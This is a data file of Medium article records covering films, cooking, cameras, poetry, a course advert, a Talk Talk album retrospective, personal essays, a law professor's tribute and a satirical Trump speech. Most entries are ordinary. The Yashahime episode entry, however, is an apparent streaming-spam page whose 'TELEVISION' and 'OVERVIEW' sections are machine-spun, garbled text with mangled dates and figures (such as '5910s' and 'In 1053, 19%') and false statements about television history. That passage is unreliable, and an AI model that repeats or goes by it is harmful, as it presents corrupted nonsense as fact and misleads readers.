A Really Necessary Pirates of the Caribbean Isolation Ranking | Dead Men Tell No Tales — number 5 in order, number 4 in this ranking.
It’s quarantine so we’re all burning through movies at a rate of knots but only one film franchise takes you to the sea (where the salt water is great for your skin and the sun is even better) aboard actual pirate ships.
Here, there be monsters and early-to-mid-2000s Johnny Depp, Orlando Bloom, and Keira Knightley. They’re all quite soft on sore eyes used to the same four Aztec-god-damned walls so that’s your first rewatch excuse.
The second excuse is because they’re all fun as shit and I’m not here to entertain wrong assertions in the other direction.
But everyone knows it’s impossible to watch a movie through an Internet connection without developing violent opinions. So here I am, outletting. | https://zacvanmanen.medium.com/a-really-necessary-pirates-of-the-caribbean-isolation-ranking-4ffe3938c2a8 | ['Zac Van Manen'] | 2020-04-12 09:20:57.801000+00:00 | ['Film', 'Essay', 'Review', 'Pirates Of The Caribbean', 'Film Reviews'] |
Piggin’ out with Priyanka (5/20/2020) | Step 1: Start by bringing a pot of water to boil, and make sure to salt the water — it’s so important!
Step 2: Once the water is boiling, pour in the macaroni and cook it based on package directions! Once it’s cooked (and not overcooked), drain and set aside.
Step 3: In the saucepan — over medium heat — melt the butter and start stirring in the flour to cook it out with the butter. You want to keep mixing this combo till it becomes slightly brown.
Fun fact: This is what is called a roux, and is the base of many soups, stews etc.. it’s a great thickening agent.
Step 4: Add 1 cup milk and whisk until the mixture is smooth.
Step 5: The mixture will begin to thicken as you continue to mix for the next 4 or 5 minutes. If you feel that the sauce is too thick, you can add another half cup of milk (little by little) to desired consistency.
Step 6: Once mixture is at your consistency, reduce heat to low and add cheese. Stir the mixture until the cheese has fully melted and becomes smooth.
Step 7: Taste for Salt and add a little more if you want. At this stage you can add other seasoning that you’d like such as garlic powder or cajun seasoning!
Step 8: Add cooked pasta to the pot of cheese sauce and stir until the sauce is evenly distributed. | https://medium.com/@ppvenkat/piggin-out-with-priyanka-5-20-2020-dd1270ac1526 | ['Priyanka Venkat'] | 2020-05-20 21:03:58.077000+00:00 | ['Mac N Cheese', 'Foodies'] |
In Appreciation of APS-C | In Appreciation of APS-C
Do you really need the biggest camera?
I love my big camera lenses. They’re usually well-built and fast but come with both a physical and financial cost. Financially, expect to spend well over $1000 to acquire them. You might also find the added cost of ownership in visiting the doctor for a sore back.
Here’s a Nikon 200–500mm f5.6, which weighs in at approximately 5 pounds by itself:
Shot with my Sony A6600 and Sigma 56mm f1.4 at 1250 ISO and 1/100.
Despite the weight, it’s fun to shoot with — the images are crisp, and the autofocus is surprisingly good for a lens of this type. It’s perfect for taking out on a birding adventure or to a wildlife refuge:
Shot with my Nikon Z6 and Nikon 200–500mm f5.6, 260mm, at 200 ISO and 1/500. Somewhere in the Green Swamp, Central Florida.
Shot with my Nikon Z6 and Nikon 200–500mm, 350mm, f5.6 at 400 ISO and 1/400. Somewhere in the Green Swamp, Central Florida.
And if you don’t need that kind of length, a 70–200mm f2.8 gets awesome results, too, and feels light as a feather (3.3 pounds) in comparison:
Shot with my Nikon Z6 and Tamron 70–200mm, 200mm, f2.8 at 400 ISO and 1/200. At a lake in Central Florida.
On the other end, take my Tamron 15–30mm f2.8, weighing about half the Nikon does, at 2.45 pounds. Still a hefty boy, but manageable. It slots nicely into the trinity of lenses most professionals will carry (traditionally a 14–24mm, 24–70mm, and 70–200mm, all at f2.8) to cover all situations. Tamron makes all three of these for Canon and Nikon and has similar lenses for Sony. In my experience, they are all excellent.
It’s great for landscapes and making tight spaces look big. The f2.8 aperture makes it useable in most low light scenarios, but not a great lens to do things like astrophotography.
These lenses cover two extremes in photography. They’re heavy and expensive because they are meant to last, and have the optics to support a variety of shooting scenarios.
They’re also full-frame lenses. Both of these lenses are for the Nikon F-mount, and the cameras they go with match their heft and quality.
There has been a recent shift, though, to make full-frame more accessible in terms of price and practicality. For example, Nikon released its first full-frame mirrorless camera body, the Z6, in November of 2018. It’s smaller and lighter than comparable full-frame bodies with a slew of useful upgrades.
The Z6’s weight is right at 1.5 pounds, while the recently released D850 comes in at just over 2 pounds. That extra .5 pounds might not sound like a huge difference, but when lugging it around on your shoulder for hours, you can start to feel it. If you go for the smaller, plastic-y lenses, you’ll be sacrificing quality, speed, and durability. Their resale value, too, won’t come close to what a fast f2.8 professional lens can fish after several years.
While I’ve invested in a full-frame system over the past couple of years, I’ve had a nagging desire to get something smaller and lightweight.
There are two big reasons for this:
It’s less conspicuous. People pay attention to people carrying large camera systems — sometimes not in the way I’d want. It’s easier to grab and go. I don’t have to plan around how I will carry a camera.
After a ton of research and a lot of waffling, I recently got a great deal on Sony A6600 with an 18–135mm kit lens, thanks to a student discount combined with a sale. The A6600 is an APS-C sized camera that weighs in at just 1.11 pounds and comes in a very manageable compact size.
You might be wondering why I chose to go with Sony when I already have so much invested in the Nikon system. I also considered two other cameras that compete in this same price range: the Nikon Z50 and the Fujifilm X-T3.
Neither of these cameras had in-body image stabilization compared to the A6600, which does.
The Z50 got excellent reviews for image quality and usability. The biggest con, though, was that it only launched with two APS-C lenses. While they were high performing lenses, if I were going to expand past them, I would be buying full-frame lenses or using the ones I already had. This kind of defeated the purpose of a small body system.
The Fuji is a sharp-looking camera that I know would have inspired me just by looking at it. Ultimately, though, the higher price compared to what I eventually paid for the A6600 (under $1000 for body and kit lens versus $1200 for just the X-T3 body) turned me off. There were too many compromises for the price. The X-T4, which was announced right around the time I was looking to purchase, would have checked all the boxes for me. Unfortunately, it was nearly $1000 more to buy with a lens.
So, I chose the A6600 for its lack of significant compromises. It also helped that my girlfriend has an A7 III, and some excellent lenses I could bum off her if needed.
For reference, this isn’t my first rodeo with APS-C. I began shooting regularly over a decade ago with a Nikon’s crop sensor D60 that I got as a graduation present. After getting some serious work shooting for my local newspaper, I quickly upgraded to another crop sensor camera, the Nikon D90. Both of these we great cameras — especially the D90. I didn’t replace the D90 until I bought the Z6 last spring.
The crop sensor format was great for a broke college student. It was a cheap system, with a quality set of glass costing me less than $1000. It was also compatible with the gear the real professionals were using, so I got to experiment a lot. I loved it, and it was what got me into photography in the first place. I recently sold that f2.8 glass I used with the D90 to Adorama and got nearly $500. That’s only a 50% depreciation for non-professional but still fast glass after ten years!
I love my A6600. It’s the camera I will choose to take out on walks in the park or to family events. The quality is excellent, and it’s packed with a ton of neat features — all in a package I’m not afraid to throw on a wrist strap.
Does the quality match my much more expensive Z6? No. But I don’t expect or need it to do those things. It’s a vast improvement over an iPhone without being intrusive.
What makes it shine, though, is a trio of primes that Sigma has put out for the APS-C format. All at f1.4 (f2.0 in full-frame), they’ve released a 16mm (24mm in full-frame), 30mm (55mm in full-frame), and 56mm (~85mm in full-frame). These lenses slap — they’re all super fast to focus and let in a ton of light.
While my kit lens is a decent overall performer — especially for the price — there is something about these primes that is special. The contrast is excellent, and the bokeh is beautiful. The range makes it super versatile — from landscapes with the 16mm to portraits with the 56mm — and there is a look they produce that I can’t put my finger on.
If you regularly shoot with primes, you know the look. There’s a certain level of crispness and intimacy that showcases your subject:
Shot with my Sony A6600 and Sigma 56mm f1.4 at 2000 ISO and 1/100.
And, to make things even sweeter, they’re cheap. You can get the whole set for between $900-$1000. For now, I think these lenses are all I will want or need for my A6600, so to get a complete set of quality lenses at that price is an absolute steal. To get an even better deal on them, bid on Greentoe as I did. Depending on your luck, you might save a couple of hundred dollars.
Now, I know many detractors will say that APS-C isn’t worth it. They’ll say the image quality isn’t there, or the depth of field and low light performance isn’t good enough. I don’t think any of these things are true for my use case.
Of course, you have to know what you’re getting into when you buy into a system like this. The Sigma lenses are well-built, but I can feel a quality difference between them and my higher-end Nikon glass. I wouldn’t trust either the body or the lenses to survive a light rain shower. And yeah, because the sensor is smaller, you don’t get as much light to play with in your images.
But, I’m willing to trade those things to recapture the love of photography. Just go out and shoot — don’t think about carrying around all of this fancy equipment, get the picture with what you have.
There’s a time a place for those things. I wouldn’t take my A6600 out birding, for example (I have the chonker mentioned above for that). But I think the size and weight are perfect for anyone who is just walking through the park or that wants to get some good quality photos of their nephew at a family picnic.
Whatever camera you use, just make sure you have good subjects: | https://medium.com/workshopping-it/in-appreciation-of-aps-c-513672960817 | ['Mycah Pleasant'] | 2020-06-05 20:30:23.985000+00:00 | ['Art', 'Camera Lens', 'Cameras', 'Photography'] |
How Does It Feel, Mr. Tree? | How Does It Feel, Mr. Tree?
I know for certain you must feel
Photo by Gilly Stewart on Unsplash
A poem:
How does it feel?
I know for certain you must feel,
the winds ripping at your chest.
You’ve been on this earth for so long,
that death may be your only wish.
How does it feel
When beasts choose your skin for their meal,
when young children become obsessed
with picking your hairs by the throng,
when axemen want you to perish.
How does it feel?
I pity you much with great zeal
and in my heart, you’ve made a nest.
Dear Mr. Tree, so bold and strong,
I pray you have no more anguish. | https://medium.com/writers-blokke/how-does-it-feel-mr-tree-93059a408dee | ['Aysia C.'] | 2020-12-17 10:22:50.182000+00:00 | ['Poetry', 'Fiction'] |
[Upcoming Course] Exploring Ways of Knowing | The course is designed as six sessions over six weeks and is open to a maximum of 10 participants. Each participant needs to bring in one question that you are exploring concerning ways of knowing and your thoughts on it (the registration form asks for this). Your thoughts can be in the form of an essay, a poem, a short film, or lots of notes on napkins — it’s ok if they are a bit rough.
In session 1, we will set the context of the course, share what each participant comes with, and cocreate what the next 5 sessions will look like. Should we do readings, presentations, discussions, or a mix? How should we stack things up? The hope is to explore these six questions non-linearly through the different cases or questions you bring in:
What’s the difference between knowledge, belief and opinion? To what extent can we trust our sensory experiences, emotional experiences, and mental experiences as ways of knowing? Does all knowledge require evidence and reason to be reliable? What are the characteristics of a “reliable” authority? How can we know something that we can experience but cannot reason? How can we evaluate whether we know as much as we think we know?
The question I bring in is can we know the divine, which I have written about here:
This is exciting. We are excited. Does what you read above excite you? Join our short course Exploring Ways of Knowing if you are seeking
to expand your critical thinking abilities
to more confidently validate what is true
experience new ways of learning
share your perspective with a global community
When & where will you learn?
The course will be held across 6 sessions every Sunday from December 27 to January 31.
Time: 0800–0900 Amsterdam time, 1230–1330 India time, or 1600–1700 Japan time. Click here to see how that matches up to your timezone.
Course capacity: 10
Total time commitment: 6 session-hours (min) + 6 to 12 reflection hours (about 1-2 hours a week)
The course sessions will be online on Zoom. We will post the access links on the course page on the WLWG platform. The sessions will be recorded in case you miss one.
Who will you learn with?
Jaya Ramchandani is an educator, researcher, and curator. Jaya graduated in astronomy and science based business from Leiden University in the Netherlands in 2012. Since then she’s been working on a number of informal learning projects from making astronomy kits with Universe Awareness to organizing interdisciplinary learning festivals with The Story Of to teaching in an international context at UWC ISAK Japan. Jaya was born and raised in Liberia, West Africa; then lived in Mumbai, The Netherlands, Goa, Shanghai, France, and Japan. She’s a third culture kid and has experienced many ways of knowing and being in the world. She is excited to share stories, lives, and philosophies with other seekers. She is driven by the optimism of will to co-create a peaceful and sustainable future.
Will you get a certificate of completion?
To receive the certificate of completion, you need to attend 4 of the 6 sessions.
How do you sign up >>>
Since we are open to members from all parts of the world, we offer a sliding scale of contributions. Our plans, in general, are priced as “1-hour session = 1-hour Movement or Language class,” and are available at three levels of financial experience. While we ask you to look inward, please don’t stress about it. Pay what feels right. You can sign up by clicking any of these three pay-points below >>> | https://medium.com/we-learn-we-grow/upcoming-course-exploring-ways-of-knowing-753285a8166f | ['Jaya Ramchandani'] | 2020-12-15 06:49:59.495000+00:00 | ['Lifelong Learning', 'Ways Of Knowing', 'Transformative Learning', 'Epistemology'] |
‘Laughing Stock’: The Timeless Appeal Of Talk Talk’s Final Album | Tim Peacock
Guided by their single-minded frontman, Mark Hollis, Talk Talk recorded a trio of career-defining albums during the late 80s and early 90s. The band hit on a winning formula in 1986 with the sublime The Colour Of Spring, but they took a radical turn into leftfield with 1988’s Spirit Of Eden and travelled even further out on 1991’s otherworldly Laughing Stock.
Listen to Laughing Stock right now.
Widely regarded as Talk Talk’s holy trinity, these singular, pigeonhole-defying albums are thrown into even sharper relief when you consider that EMI initially marketed Hollis’ team as a glossy, synth-pop act akin to labelmates Duran Duran. However, after the Top 40 success of 1982’s The Party’s Over and 1984’s It’s My Life, Hollis asserted creative control for The Colour Of Spring: a gloriously-realised widescreen pop record which spawned the band’s two signature hits, ‘Life’s What You Make It’ and ‘Living In Another World’.
“The band locked themselves away”
Talk Talk’s commercial peak, The Colour Of Spring yielded worldwide chart success and sales of over two million. However, the band shunned such materialistic concerns for 1988’s Spirit Of Eden, which was edited down to six tracks from hours of studio improvisation by Hollis and producer/musical foil, Tim Friese-Greene.
A truly groundbreaking album flecked with rock, jazz, classical and ambient music, Spirit Of Eden attracted critical acclaim and cracked the UK Top 20, but Mark Hollis remained adamant that Talk Talk wouldn’t be touring the record. After dealing with time-consuming business-related issues, the band then left EMI and recorded their final album, Laughing Stock, for legendary jazz imprint Verve Records.
As manager Keith Aspden told The Quietus in 2013, Verve offered Hollis and co the opportunity to further embrace the experimental approach they’d adopted while piecing Spirit Of Eden together. “Verve guaranteed full funding for Laughing Stock, without interference,” he said. “[The band] took full advantage of that situation and locked themselves away for the duration of the recording.”
“It took its toll, but it got great results”
By this stage, Talk Talk were ostensibly a studio-based project centred upon Hollis and Friese-Greene, but augmented by session musicians including longterm drummer Lee Harris. As Aspden suggests, they holed up in north London’s Wessex Studios (previously the birthplace of The Clash’s London Calling) with one-time David Bowie/Bob Marley engineer Phill Brown, where they stayed for almost a year honing the six tracks that make up Laughing Stock. The methodology involved was truly arcane, with windows being blacked out, clocks removed and light sources limited to oil projectors and strobe lights in an attempt to capture the correct vibe.
“It took seven months in the studio, though we took a three-month break in the middle,” Brown recalled in 2013. “I guess from getting involved to studio recording, mixing and mastering took up a year of my time. It was a unique way to work. It took its toll on people, but gave great results.”
“The silence is above everything”
Brown wasn’t joking: Laughing Stock was painstakingly edited down to its 43-minute running time from a series of lengthy improvisational sessions. Hollis cited other genre-defying masterpieces such as Can’s Tago Mago, and Elvin Jones’ drumming on Duke Ellington and John Coltrane’s 1962 recording of ‘In A Sentimental Mood’ as influences upon the album, and his quest for perfection was further fuelled by his desire to capture the magic of spontaneity in the recordings.
“The silence is above everything,” he told journalist John Pidgeon at the time of the record’s release. “I would rather hear one note than I would two, and I would rather hear silence than I would one note.”
Less is certainly more where Laughing Stock is concerned. Opening track ‘Myrrhman’ commences with 15 seconds of amplifier hiss; the enigmatic closing number, ‘Runeii’, features swathes of ambient space; and the fascinating nine-minute centrepiece, ‘After The Flood’, is underpinned by droning, ethereal strings which only gradually drift into focus.
However, while these tracks are arguably even more minimal in design than Spirit Of Eden, they’re offset by more quixotic songs such as ‘Ascension Day’ and ‘Taphead’, which make sudden, jarring leaps from gentle, quasi-ambience to rushes of coruscating noise. Taken as a whole, Laughing Stock can initially be a disorienting listen, but with repeated plays its bewitching beauty steadily seeps out, perhaps nowhere more so than on ‘New Grass’, the record’s most bucolic and linear-sounding track, which alone is worth anyone’s price of admission.
“It will be valued long after”
Housed in a memorable sleeve designed by long-term collaborator James Marsh, Laughing Stock was first released by Verve on 16 September 1991. Even though it didn’t contain a radio-friendly single or support from live shows, the album still briefly sneaked into the UK Top 30. With little fuss, Talk Talk disbanded shortly after, with Mark Hollis later releasing one final understated masterpiece, his self-titled 1998 solo album. Sadly, it proved to be the last album bearing his stamp before his untimely death, aged 64, on 25 February 2019.
As is often the case with forward-looking artistic statements, Laughing Stock polarised critical opinion on release. However, a few of the more perceptive reviews, such as Q’s (“It might put Talk Talk heavily at odds with the commercial charts… but it will be valued long after such superficial quick thrills are forgotten”) proved prescient, as the album’s reputation has grown steadily with the passing of time. In recent years, artists as disparate as UNKLE, Elbow and Bon Iver have sung Laughing Stock’s praises, and it’s not hard to hear why. This bold, indefinable record is both a poignant swansong and very possibly Talk Talk’s crowning glory.
Laughing Stock can be bought here.
Join us on Facebook and follow us on Twitter: @uDiscoverMusic | https://medium.com/udiscover-music/laughing-stock-the-timeless-appeal-of-talk-talk-s-final-album-27d314c44a1a | ['Udiscover Music'] | 2019-09-16 09:36:39.708000+00:00 | ['Culture', 'Features', 'Alternative', 'Pop Culture', 'Music'] |
Dear 2010 self. | Dear younger me,
I’ll start by saying that you’ve done well.
I haven’t yet completed university but you are close.
You went to a new school and have adapted well. Through the years you have made new friends and lost them throughout school. It will be the same when you finish school when you realise only a few people matter.
My advice is to cherish your friendships.
Be good to your friends especially the ones close to you. There will be hardships especially when you’re trying to fit in. Don’t get too into gossip because it has caused some issues in some years.
Be kind, never forget that.
You just celebrated 10 years with a close friend unexpectedly. It happened when you randomly met and gatecrashed her date (not really but they invited you to join).
You will become more talkative just wait for the day you meet a certain girl at the bus stop where you ultimately become the best of friends a year later. She has allowed you to be more proactive in conversations and widen your friendship circle.
Oh yeah, that boy you liked in year 5, you end up being good friends with him through to year 12. You even had two classes with him, he is a great person. Don’t stress about love and relationships, continue having crushes. I only say this because yours truly is still single and has yet to mingle. | https://medium.com/from-the-outside/dear-2010-self-44a13efe5143 | ['Tracy Nguyen'] | 2019-12-31 21:51:01.112000+00:00 | ['Life Lessons', 'Friendship', 'Self-awareness', 'Reflections', 'Self'] |
EP 13 | Yashahime: Princess Half-Demon Episode 13 [Sub English] | Episode 13 | Gold and Silver Rainbow-Colored Pearls | The daughters of Sesshoumaru and Inuyasha set out on a journey transcending time! In Feudal Japan, Half-Demon twins Towa and Setsuna are separated from each other during a forest fire. While desperately searching for her younger sister, Towa wanders into a mysterious tunnel that sends her into present-day Japan, where she is found and raised by Kagome Higurashi’s brother, Souta, and his family. Ten years later, the tunnel that connects the two eras has reopened, allowing Towa to be reunited with Setsuna, who is now a Demon Slayer working for Kohaku. But to Towa’s shock, Setsuna appears to have lost all memories of her older sister. Joined by Moroha, the daughter of Inuyasha and Kagome, the three young women travel between the two eras on an adventure to regain their missing past.
Title : Yashahime: Princess Half-Demon
Episode Title : Gold and Silver Rainbow-Colored Pearls
Release Date : 26 Dec 2020
Runtime : 25 minutes
Genres : Action , Adventure , Animation , Anime , Comedy , Fantasy , Martial Arts
Networks : Nippon TV
TELEVISION 👾
(TV), in some cases abbreviated to tele or television, is a media transmission medium utilized for sending moving pictures in monochrome (high contrast), or in shading, and in a few measurements and sound. The term can allude to a TV, a TV program, or the vehicle of TV transmission. TV is a mass mode for promoting, amusement, news, and sports.
TV opened up in unrefined exploratory structures in the last part of the 5910s, however it would at present be quite a while before the new innovation would be promoted to customers. After World War II, an improved type of highly contrasting TV broadcasting got famous in the United Kingdom and United States, and TVs got ordinary in homes, organizations, and establishments. During the 5950s, TV was the essential mechanism for affecting public opinion.[5] during the 5960s, shading broadcasting was presented in the US and most other created nations. The accessibility of different sorts of documented stockpiling media, for example, Betamax and VHS tapes, high-limit hard plate drives, DVDs, streak drives, top quality Blu-beam Disks, and cloud advanced video recorders has empowered watchers to watch pre-recorded material, for example, motion pictures — at home individually plan. For some reasons, particularly the accommodation of distant recovery, the capacity of TV and video programming currently happens on the cloud, (for example, the video on request administration by Netflix). Toward the finish of the main decade of the 1000s, advanced TV transmissions incredibly expanded in ubiquity. Another improvement was the move from standard-definition TV (SDTV) (516i, with 909091 intertwined lines of goal and 434545) to top quality TV (HDTV), which gives a goal that is generously higher. HDTV might be communicated in different arrangements: 3456561, 3456561 and 1314. Since 1050, with the creation of brilliant TV, Internet TV has expanded the accessibility of TV projects and films by means of the Internet through real time video administrations, for example, Netflix, Starz Video, iPlayer and Hulu.
In 1053, 19% of the world’s family units possessed a TV set.[1] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 5990s. Most TV sets sold during the 1000s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-1050s.[3][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 1050s.[6][1][5] Smart TVs with incorporated Internet and Web 1.0 capacities turned into the prevailing type of TV by the late 1050s.[9]
TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 1000s by means of the Internet. Until the mid 1000s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 1050s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV.
👾 OVERVIEW 👾
Additionally alluded to as assortment expressions or assortment amusement, this is a diversion comprised of an assortment of acts (thus the name), particularly melodic exhibitions and sketch satire, and typically presented by a compère (emcee) or host. Different styles of acts incorporate enchantment, creature and bazaar acts, trapeze artistry, shuffling and ventriloquism. Theatrical presentations were a staple of anglophone TV from its begin the 1970s, and endured into the 1980s. In a few components of the world, assortment TV stays famous and broad.
The adventures (from Icelandic adventure, plural sögur) are tales about old Scandinavian and Germanic history, about early Viking journeys, about relocation to Iceland, and of fights between Icelandic families. They were written in the Old Norse language, for the most part in Iceland. The writings are epic stories in composition, regularly with refrains or entire sonnets in alliterative stanza installed in the content, of chivalrous deeds of days a distant memory, stories of commendable men, who were frequently Vikings, once in a while Pagan, now and again Christian. The stories are generally practical, aside from amazing adventures, adventures of holy people, adventures of religious administrators and deciphered or recomposed sentiments. They are sometimes romanticized and incredible, yet continually adapting to people you can comprehend.
The majority of the activity comprises of experiences on one or significantly more outlandish outsider planets, portrayed by particular physical and social foundations. Some planetary sentiments occur against the foundation of a future culture where travel between universes by spaceship is ordinary; others, uncommonly the soonest kinds of the class, as a rule don’t, and conjure flying floor coverings, astral projection, or different methods of getting between planets. In either case, the planetside undertakings are the focal point of the story, not the method of movement.
Identifies with the pre-advanced, social time of 1945–65, including mid-century Modernism, the “Nuclear Age”, the “Space Age”, Communism and neurosis in america alongside Soviet styling, underground film, Googie engineering, space and the Sputnik, moon landing, hero funnies, craftsmanship and radioactivity, the ascent of the US military/mechanical complex and the drop out of Chernobyl. Socialist simple atompunk can be an extreme lost world. The Fallout arrangement of PC games is a fabulous case of atompunk. | https://medium.com/anime-yashahime-princess-half-demon-episode-13/ep-13-yashahime-princess-half-demon-episode-13-sub-english-186df0bf830b | ['Jamie A. Lovell'] | 2020-12-26 01:50:51.329000+00:00 | ['Animation', 'Fantasy', 'Adventure', 'Anime', 'Action'] |
I Waited For Over Twenty Years to Meet My Real Family | I Waited For Over Twenty Years to Meet My Real Family
I had no idea my real family existed until I was in my twenties. And I had no idea they would give me the greatest gift I have ever received.
Photo by Laura Fuhrman on Unsplash
I often wondered whether I was adopted. It was difficult to believe I could possibly be related to any of my family members. I felt so different. And I was treated very differently too. I didn’t feel welcome and I certainly didn’t feel like I belonged. Not being related to these people made sense. I felt like an outsider so maybe I was an outsider.
I realised I wasn’t adopted and my family was indeed my biological family. But they still never really felt like my “real family”. At especially difficult points in my childhood, I took comfort in the thought that maybe one day my real family would come and get me.
I wasn’t sure what I meant by real family. I was young and didn’t have the vocabulary to explain that what I was craving were love and belonging.
I endured years of abuse at the hands of my family. Every adult relative was cruel to me. And the ones who didn’t actively participate in the abuse were bystanders. Sometimes that hurt more than the actual abuse. In order to survive, I normalised this abuse. It wasn’t a conscious decision. But constantly feeling a sense of injustice at how I was treated, to only be met by gaslighting, took a toll on my mental health. I was left with no choice to accept what was happening. Perhaps it was inevitable that I would come to view this abuse as normal as I didn’t know any different.
When I hit my twenties, I began to realise just how much I had normalised very abnormal situations. I met a man named David, who would later become my husband. He introduced me to his family, who were so normal I thought they were abnormal. When I visited them with David, they were kind to me. Nobody made fun of my appearance. Fights didn’t break out. No matter how much I anticipated that something bad would happen, it never did.
I didn’t know how to feel about David’s family at first. I liked them and I liked the way they made me feel. But this wasn’t as pleasant as it sounds. It forced me to look at my own family and admit that what happened to me was not normal.
Healthy and happy children don’t spend their childhood wishing they could be rescued by their “real family.” And healthy and happy adults don’t feel a sense of panic when their partner’s family is kind to them.
When David proposed to me, I was terrified of his family’s reaction. They had given me no reason to feel this way, but I had learned from my own family that making decisions about my own life would be met with judgment. His mother was really happy and sent him a message about how she thought I was an intelligent and sensitive person. It really struck me at that moment that I was no used to maternal figures saying nice things about me. Not without conditions or it being retracted at a later date. His mother meant these words. And the rest of his family were happy for us too.
No judgment. No unkindness. Just unconditional acceptance. Was this my real family?
The thing about abuse is that the trauma doesn’t disappear when the abuse has ended. Conditions such as Post Traumatic Stress Disorder (PTSD) happen specifically after the traumatic event has passed. PTSD can happen immediately after the trauma, or even years after. I don’t have PTSD, but I am traumatised by what happened to me. Despite the fact the abuse had ended a while ago when I met David’s family, I found that the fact I was no longer experiencing trauma gave me time to think about what had actually happened to me. During the abuse, I was too busy surviving. Now it had stopped, I was beginning to process it.
“After initially rejoicing and reveling in newfound freedom, there’s often grief, regret, and sometimes guilt.” -How Trauma Lives on After Abuse Ends by Darlene Lancer
It took a long time to stop feeling nervous and on edge around David’s family. And with each passing moment, I was learning that this was my real family. Without realising it, they helped me heal from old childhood wounds by giving me what I had been deprived of for so long. They have me the gifts of kindness, stability, consistency, and unconditional acceptance.
To people who are used to these things, these may not seem like gifts because surely everyone has a right to experience these things. Whilst I do agree with this, the right to experience these things didn’t count for people like me. This means I don’t view these things as things I should have therefore they are nothing special. These simple acts of kindness and compassion are very special to me, and I will always consider them the greatest gifts I have ever received.
Finally, my childhood wish to find my real family came true. | https://medium.com/home-sweet-home/i-waited-for-over-twenty-years-to-meet-my-real-family-d10fe6ad359d | ['Laura Fox'] | 2020-12-30 09:57:43.371000+00:00 | ['Relationships', 'Prompt', 'This Happened To Me', 'Life', 'Family'] |
Mickey Smiley 1935–2016 | “…If you want to be truly happy then devote yourself to the realization of someone else’s dreams.”
Smiley, Professor Mickey. 16" x 20". 2016. Collection of Estate of Mickey Smiley. Florida. Sponsored by Chris Searcy, West Palm Beach, FL.
Professor Smiley was associated with Stetson College of Law for over 40 years and retired in 2005 as the Senior Member of the Faculty of Law. His courses included the following subjects: Torts/ Consumer Protection/ Product Liability, Criminal Law, Evidence, Agency, Conflict of Laws, International Law, Medical Jurisprudence, Medical Malpractice and Advanced Civil Trial Skills.
He was the founder of the Stetson Society of Trial Advocacy in 1970, which was believed to be the oldest continuous Society, specifically devoted to the “Art of Trial Advocacy” among the members of the AALS. He has been recognized at ATLA’s Award’s ceremony as “Coach of the National Trial Advocacy’s Trial Team Champions” (Stetson Trial Teams established an ATLA record by winning the National Trial Competition — 1993 (Smiley’s Renegades) 1994, 1996 and 2nd place in 1997. | https://medium.com/@nik.triallawyergallery/mickey-smiley-1935-2016-d08942ee05ad | ['Trial Lawyer National Portrait Gallery'] | 2019-06-17 18:39:43.904000+00:00 | ['Justice', 'Legal', 'Criminal Justice', 'Law'] |
I Concede Not | Ideastream
I Concede Not
Photo by History in HD on Unsplash
“Republicans of America, I address you because we are the only REAL Americans, and no one else counts. This is not a concession speech, I do not accept that we lost this election. In fact, I know we won, and we won big, the biggest of all time, and if necessary, I will continue to make that claim until 2024 when I will run and win again. But it won’t be necessary because I know the electoral college will declare me the winner of the 2020 election, just wait and see. I know things. I know so many things. I am so smart. In fact, I am the smartest president that ever lived.
‘I know more about everything than anybody else’ / Youtube
You know, when I won this race four years ago, and I won bigly as I did this time, despite what those election thieves say, the person who ran for the other side called me, she telephoned me and she said, ‘Mr. President, I congratulate you and I offer to work with you on behalf of our country.’ What a pussy! I would NEVER congratulate those who stole my election.
Well, you know I never asked her for a minute's help, I never needed it nor wanted it. My role as president was to work for those who voted for me, and that is what I have done, every day of every one of the last four years in office. I worked for big corporations, for profit, for greed, for more for those who already have lots, and for less for those who have little or nothing. That was my mandate and that was what I fulfilled. I am proud to say I am a white supremacist and I have made America great again.
Today when the electoral college declares me the 46th president of the United States of America, the first thing I will do will be to sign an executive order removing ‘United’ from the title of our country and replacing it with ‘White’. Then we will be known as the White States of America which is what we should always have been called because this country belongs to us and only to us. And anyone who contests that or doesn’t like it can leave our great again country.
And if by some amazing cheating I am not declared president then I will do everything in my power to make it impossible for the other side to make any changes to our legislature that benefit anyone but those to whom this country belongs.
And so, Republicans of America, I say ask not what you can do for your country, ask what your country can do for you, for your pockets, for your race, for your gender. For as long as you look like me and believe as I do, that our nation is for us alone, you have my respect and that is all that counts.
Let’s do all we can to make sure our country continues working for us alone.” | https://medium.com/the-bad-influence/i-concede-not-f81a6ede7aaf | ['Marla Bishop'] | 2020-12-15 16:17:56.959000+00:00 | ['Idea Stream', 'Speech', 'The Bad Influence', 'Trump', 'Election 2020'] |
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